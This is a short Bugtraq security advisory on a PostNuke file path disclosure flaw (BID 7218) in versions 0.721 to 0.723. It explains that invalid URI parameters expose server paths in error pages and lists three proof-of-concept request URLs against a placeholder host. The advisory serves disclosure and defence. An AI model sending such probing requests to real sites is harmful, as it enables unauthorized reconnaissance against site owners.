PostNuke File Path Disclosure Vulnerability

Bugtraq ID:	7218
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 28 2003 12:00AM
Updated:	Mar 28 2003 12:00AM
Credit:	The discovery of this vulnerability has been credited to "rkc" <[email protected]>.
Vulnerable:	PostNuke Development Team PostNuke Phoenix 0.723 PostNuke Development Team PostNuke Phoenix 0.722 PostNuke Development Team PostNuke 0.721
Not Vulnerable:

PostNuke File Path Disclosure Vulnerability

Multiple path disclosure vulnerabilities have been reported in various PHP scripts used by PHP-Nuke. The issue occurs when an invalid URI parameter is passed to certain scripts. The affected scripts do not provide sufficient error handling for this circumstance and as such, may display an error page containing sensitive information path information.

PostNuke File Path Disclosure Vulnerability

The following proof of concepts has been made available:

http://www.target.com/modules.php?op=modload&name=Members_List&file=index&letter=All&sortby=uname1234

http://www.target.com/modules.php?op=modload&name=Stats&file=

http://www.target.com/modules.php?op=modload&name=Members_List&file=index&letter=Svi&sortby=uname1234

PostNuke File Path Disclosure Vulnerability

References:

• PostNuke Homepage (PostNuke Development Team)
  
• PostNuke Sensitive Information Disclosure ("rkc" )
  
• Re: PostNuke Sensitive Information Disclosure ("Kilmarac Jarov -" )